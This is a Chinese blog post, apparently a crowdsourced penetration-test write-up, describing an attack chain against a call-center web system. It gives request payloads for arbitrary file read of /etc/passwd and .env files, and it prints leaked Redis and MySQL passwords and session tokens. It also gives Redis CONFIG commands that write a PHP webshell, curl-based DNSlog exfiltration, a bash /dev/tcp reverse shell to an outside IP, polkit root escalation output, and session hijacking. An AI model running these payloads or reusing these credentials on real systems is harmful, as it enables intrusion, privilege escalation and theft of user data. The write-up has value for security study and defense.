一次Redis_RCE和提权的心路历程

在某次众测渗透测试过程中,遇到一个比较脆弱的系统,并且完成了完整的RCE和内核漏洞提权的过程。很值得大家学习噢,因此小编也是熬夜给大家写了这篇文章,讲解了如何打点以及一步步完成RCE和提权的。

这是博主的公众号(菜鸟学安全),大家可以关注一下我噢,主要分享安全领域各方面,AI安全,渗透测试,漏洞挖掘和工作经验分享。我会将这几年踩过的坑和攒下的东西系统整理出来,不定时在公众号更新的。

公众号-菜鸟学安全

1 未授权任意文件读取

漏洞描述

资产详情:

http://xx.xx.xx.xx:8996/api/v1/onLineRecord

文章图片​

位置:POST http://xx.xx.xx.xx:8996/api/v1/onLineRecord(无任何 token 校验)

成因:/opt/lampp/htdocsbiaozhun/app/Http/Controllers/Api/TaskInterfaceApi.php:195

文章图片​

参数recordPath、recordFile直接拼入fopen读取并回显,可读取服务器任意文件。

读取etc/passwd。

请求包:(1)读 /etc/passwd

POST /api/v1/onLineRecord HTTP/1.1

Host:xx.xx.xx.xx:8996

Content-Type: application/json

{"recordPath":"/etc/","recordFile":"passwd"}

响应包:

HTTP/1.1 200 OK

Content-Type: audio/x-wav

root❌0:0:root:/root:/bin/bash

daemon❌2:2:daemon:/sbin:/sbin/nologin

adm❌3:4:adm:/var/adm:/sbin/nologin

...(完整 /etc/passwd 回显)

读.env—泄露全部凭据。

请求包:(1)读 /etc/passwd

POST /api/v1/onLineRecord HTTP/1.1

Host:xx.xx.xx.xx:8996

Content-Type: application/json

{"recordPath":"/opt/lampp/htdocsbiaozhun/","recordFile":".env"}

响应包:

HTTP/1.1 200 OK

Content-Type: audio/x-wav

Content-disposition: attachment; filename="/opt/lampp/htdocsbiaozhun/.env"

APP_NAME=智能xx系统

APP_KEY=base64:R1I7X+VqLlTzLNW+xx.xx.xx.xx+x/km/Rcx1jctwhVjz4=

DB_CONNECTION=mysqlDB_HOST=127.0.0.1DB_PORT=33068

DB_DATABASE=callcenterDB_USERNAME=rootDB_PASSWORD=xun.xx.com

REDIS_PASSWORD=5gwW1hWM7xAtFXXDpW50MOdimAMMwREDIS_PORT=8293

isLocalWeb=0

ws_address=xx.xx.xx.xxws_port=9502agent_link_freeswitch_port=5008 ...

2 .env明文凭据与敏感配置泄露

漏洞描述

任意文件读取直接导致以下敏感信息外泄。

(/opt/lampp/htdocsbiaozhun/.env 与 /opt/lampp/htdocs_fz/.env):

读取路径:

POST http://xx.xx.xx.xx:8996/api/v1/onLineRecord 。

/opt/lampp/htdocsbiaozhun/.env 与 /opt/lampp/htdocs_fz/.env。

请求包:

POST /api/v1/onLineRecord HTTP/1.1

Host:xx.xx.xx.xx:8996

Content-Type: application/json

{"recordPath":"/opt/lampp/htdocsbiaozhun/","recordFile":".env"}

响应包:

HTTP/1.1 200 OK

Content-Type: audio/x-wav

APP_NAME=智能xx系统

APP_KEY=base64:R1I7X+VqLlTzLNW+xx.xx.xx.xx+x/km/Rcx1jctwhVjz4=

DB_CONNECTION=mysqlDB_HOST=127.0.0.1DB_PORT=33068

DB_DATABASE=callcenterDB_USERNAME=rootDB_PASSWORD=xun.xx.com

REDIS_PASSWORD=5gwW1hWM7xAtFXXDpW50MOdimAMMwREDIS_PORT=8293

isLocalWeb=0ws_address=xx.xx.xx.xxws_port=9502 ...

文章图片​

3 Redis 服务公网暴露+写shell

漏洞描述

Redis 2.8.17 @ xx.xx.xx.xx:8293(公网),口令来自 .env(任意文件读获取),root 运行,CONFIG 未禁用。另存 8198+ 业务键:user:auth:FRONTEND_LOGIN_SYSTEM|*(会话令牌)、telephone:😗、vocalPrint:☎️:*等。

8293 端口对公网开放;认证口令虽为强随机,但以明文存于可被任意文件读取的 .env。认证后具备 CONFIG SET dir/dbfilename + SAVE 任意文件写入能力,且 Redis 进程为 root —— 构成写 WebShell / 写入 SSH 密钥 / 计划任务等完整 RCE 通道。

Redis(8293) 凭据登录 + CONFIG 写文件:

根据任意文件读取漏洞获取的.env泄露Redis口令5gwW1hWM7xAtFXXDpW50MOdimAMMw,Redis以root运行且CONFIGSETdir/dbfilename未禁用。

redis-cli -h xx.xx.xx.xx -p 8293

AUTH 5gwW1hWM7xAtFXXDpW50MOdimAMM,连接Redis成功。

文章图片​

请求包:

redis-cli -hxx.xx.xx.xx-p 8293

AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw→ +OK

CONFIG SET dir /opt/lampp/htdocsbiaozhun/public → +OK

CONFIG SET dbfilename tshell.php→ +OK

SET tshell ''→ +OK

SAVE→ +OK

→ http://xx.xx.xx.xx:9996/tshell.php?c=id 执行 uid=2(daemon)

4 远程命令执行(RCE)+提权

漏洞描述

漏洞危害:

以 Web 服务用户(daemon)执行任意系统命令;因 Redis 为 root 进程且拥有写文件能力,攻击者可进一步向任意可写/root 可写路径写入文件、读取 Redis 内全部会话与业务缓存(含登录令牌),等同于服务器失陷。

RCE执行步骤:

Step 1 未授权任意文件读取:

读取 /opt/lampp/htdocsbiaozhun/.env,获得数据库与 Redis 明文口令。

Step 2 Redis(8293) 凭据登录 + CONFIG 写文件:

.env 泄露 Redis 口令

5gwW1hWM7xAtFXXDpW50MOdimAMMw,Redis 以 root 运行且 CONFIG SET dir/dbfilename 未禁用。

AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw

CONFIG SET dir /opt/lampp/htdocsbiaozhun/public

CONFIG SET dbfilename shell.php

SET x ''

SAVE

Step 3 PHP 执行验证:写入的 dump 文件被 Apache 以 PHP 解析。

GET http://xx.xx.xx.xx:9996/shell.php?c=id

返回内容包含:

uid=2(daemon) gid=2(daemon) groups=2(daemon)

请求包:

redis-cli -hxx.xx.xx.xx-p 8293

AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw→ +OK

CONFIG SET dir /opt/lampp/htdocsbiaozhun/public → +OK

CONFIG SET dbfilename tshell.php→ +OK

SET tshell ''→ +OK

SAVE→ +OK

→ http://xx.xx.xx.xx:9996/tshell.php?c=id 执行 uid=2(daemon)

RCE命令执行payload访问地址:

http://xx.xx.xx.xx:9996/tshell.php?c=id

但是返回的信息是乱码,是Redis的信息特性,返回信息存储在内存中。看不到命令执行的结果

采用2种方法:使用dnslog数据外带和反弹shell。

dnslog数据外带,获取子域名:

payload命令:

http://xx.xx.xx.xx:9996/tshell.php?c=curl -s http://$(ls).s2lwsl.dnslog.cn/

http://xx.xx.xx.xx:9996/tshell.php?c=curl%20-s%20http%3A%2F%2F%24%28whoami%29.roupwv.dnslog.cn%2F

文章图片​

Url解码后

http://xx.xx.xx.xx:9996/tshell.php?c=curl -s http://$(whoami).roupwv.dnslog.cn/

文章图片​

文章图片​

Whoami的结果为daemon。

文章图片​

Id的结果为:groups=2\(daemon\)。

文章图片​

反弹shell:

http://xx.xx.xx.xx:9996/tshell.php?c=bash -c 'bash -i >& /dev/tcp/8.xx.xx.15/8887 0>&1'

文章图片​

在远程服务器监听8887端口。

nc -lvvnp 8887

成功反弹shell。

文章图片​

利用polkit漏洞提权结果。

bash-4.2$ ./exp

uid=0(root) gid=0(root) groups=0(root),2(daemon)

ROOT-SHELL-READY

bash: no job control in this shell

[root@iZwz9hlow4cfn7c41ujqd1Z .pwn]#

·提权前:uid=2(daemon) gid=2(daemon) groups=2(daemon)

·提权后:uid=0(root) gid=0(root) groups=0(root),2(daemon)

·提示符由 bash-4.2$ → [root@iZwz9hlow4cfn7c41ujqd1Z .pwn]#

文章图片​

5 MySQL root口令泄露+3306公网直连

漏洞描述

漏洞路径:

mysql -h xx.xx.xx.xx -P 3306 -u root -pxun.xx.com

DB口令root/xun.xx.com(MySQL3306公网直连成功)

.Env泄露数据库明文口令(DB_PASSWORD=xun.xx.com),且MySQL3306端口对公网开放,root口令直接复用成功,可读写13个业务库(callcenter/callcenters/nacos/yunzhiplush*等)全部表数据。

文章图片​

callcenter.users 表可直接读取全部管理员/坐席账号与 bcrypt 哈希;业务库含真实通话记录、名单数据。

请求包:

mysql -hxx.xx.xx.xx-P 3306 -u root -pxun.xx.com -e "show databases;"

响应包:

| Database|

| information_schema |

| callcenter|

| callcenter_huijin|

| callcenter_huike20241209 |

| callcenter_shengwen|

| callcenters|

| mysql | nacos | sys|

| yunzhiplush | yunzhiplush1 | yunzhiplush2 | yunzhiplush3 |

+--------------------+

请求包:

mysql ... -e "USE callcenter; SELECT user_name,password,status FROM users WHERE status='0';"

+----------+--------------------------------------------------------------+--------+

| user_name| password| status |

+----------+--------------------------------------------------------------+--------+

| admin| $2y$10$wt7C421GXXWF0cj5XOE6.m5xFGVr1s.s3C | 0

| aitesta| $2y$10$7Kunj9fG4XXd/t8vm7r4OTTHCK5r9q | 0

| ceshic1| $2y$10$Uy.SXXzOH9Pv4I2RbSNdIw.| 0

+----------+--------------------------------------------------------------+--------+

使用DB口令root/xun.xx.com

连接成功

文章图片​

6 盲SSRF

漏洞描述

漏洞路径:

http://xx.xx.xx.xx:8996/api/v1/onLineRecord

onLineRecordfopen支持URL协议

fopen($url,'r') 在 PHP allow_url_fopen 开启时支持 http:// 等协议。

DNSLog 外带验证(证明服务器端发起任意 URL 请求):

recordPath 指向 DNSLog 子域,fopen 触发服务器,

对 http://ssrf1.s3upxx.dnslog.cn/ 的 DNS 解析+HTTP 请求,平台记录=外带实证。

POST /api/v1/onLineRecord HTTP/1.1

Host:xx.xx.xx.xx:8996

Content-Type: application/json

{"recordPath":"http://ssrf1.s3upxx.dnslog.cn/","recordFile":""}

HTTP/1.1 500(filesize 对远程失败=半盲特征,外带已发生);观测:s3upxx.dnslog.cn 平台 DNS 记录出现 ssrf1/ssrf2.s3upxx.dnslog.cn(来源=目标出口 IP)。

dnslog平台成功回显,说明存在SSRF漏洞。

s3upxx.dnslog.cn

ssrf1.s3upxx.dnslog.cn

ssrf2.s3upxx.dnslog.cn

文章图片​

7 Redis会话越权登录(9998端口-任意用户身份接管)

漏洞描述

漏洞影响:

批量窃取会话,以任意在线用户身份越权读取运营数据;会话缓存明文存密码哈希;token 长期有效。

9998端口前端指向 /frontend/* 运营管理 API

(account/cdr/user/blacklist/recharge/task/warningTask 等,均有鉴权,未登录返回 UnAuthorization)。但其登录会话存于 Redis(8293)(口令已由 .env 泄露获取,全站通用):Redis 中 user:auth:FRONTEND_LOGIN_SYSTEM|* 共 2068 条真实会话键,值即登录用户完整对象(含 passwd/password 两列 bcrypt 哈希、SIP 配置、ext 分机)。直接取会话键值作为 Authorization 头即可获得任意在线用户的登录态。

获取Redis的会话roken。

redis-cli -h xx.xx.xx.xx -p 8293

AUTH 5gwW1hWM7xAtFXXDpW50MOdimAMMw

KEYS user:auth:*→ 2081条会话,任取一条即可切换身份(含管理员)

文章图片​

获取会话内容。

文章图片​

·① 越权读主叫列表 — 完整请求/响应包:

http://xx.xx.xx.xx:9998/frontend/caller/action?act=getCallers&entityId=caller

POST /frontend/caller/action?act=getCallers&entityId=caller HTTP/1.1

Host:xx.xx.xx.xx:9998

Authorization: FRONTEND_LOGIN_SYSTEM|20250520150726e0081d12d02e5d1d8747dcd8e69f367f

Content-Type: application/json

{}

HTTP/1.1 200 OK

Vary: Authorization

Content-Length: 271

Content-Type: application/json

{"code":10,"msg":"操作成功","data":[{"caller_group":"0220250303","caller":"0220250303","caller_note":"0220250303(0220250303)","caller_range":"0220250303"},{"caller_group":"666666","caller":"666666","caller_note":"666666(666666)","caller_range":"666666"}]}

文章图片​

②越权读子账号(含bcrypt哈希) — 完整请求/响应包:

http://xx.xx.xx.xx:9998/frontend/user/action?act=getUsersOfParentSn&entityId=user

POST /frontend/user/action?act=getUsersOfParentSn&entityId=user HTTP/1.1

Host:xx.xx.xx.xx:9998

Authorization: FRONTEND_LOGIN_SYSTEM|20250520150726e0081d12d02e5d1d8747dcd8e69f367f

Content-Type: application/json

{"parentSn":"aitest"}

HTTP/1.1 200 OK

Vary: Authorization

Transfer-Encoding: chunked

Content-Type: application/json

{"code":10,"msg":"操作成功","data":{"current_page":1,"data":[{"id":224,"user_sn":"USER|2025022817...","user_name":"aitestadmin001","parent_sn":"aites

文章图片​

8 未授权访问(9997端口)

漏洞描述

漏洞路径:

POST http://xx.xx.xx.xx:9997/api/v1/userList

请求体json为:{"userName":"admin"}

POST /api/v1/userList 无 token + body {"userName":"admin"} → code:200 返回全量用户,含密码 bcrypt 哈希原文(password/passwd 字段)、超级管理员联系方式/团队、SIP 配置等

文章图片​

文章图片​

9 任意文件读取(9997端口)

漏洞描述

漏洞路径:

http://xx.xx.xx.xx:9997/api/v1/onLineRecord

旁站9997端口与主站同为 CCDS 智能xx系统(同 .env 口令体系、同 APP_KEY、isLocalWeb=0),且后端 DB(3306/callcenters)正常,可完成主站因 DB 宕机未能达成的数据级取证:

请求包:

POST /api/v1/onLineRecord HTTP/1.1

Host:xx.xx.xx.xx:9997

Content-Type: application/json

{"recordPath":"/etc/","recordFile":"passwd"}

响应包:

HTTP/1.1 200 OK

Server: Apache/2.4.25 (Unix) OpenSSL/1.0.2j PHP/7.1.4

Content-disposition: attachment; filename="/etc/passwd"

Content-Length: 1568

root❌0:0:root:/root:/bin/bash

daemon❌2:2:daemon:/sbin:/sbin/nologin

...(完整 /etc/passwd 回显,含 mysql/dockerroot/rabbitmq 等)

上述是一次众测的Redis_RCE和提权的心路历程。希望大家好好学习,不断进步,一起加油吧。

posted @ 2026-10-06 22:00  炫彩之星  阅读(4)  评论(0)    收藏  举报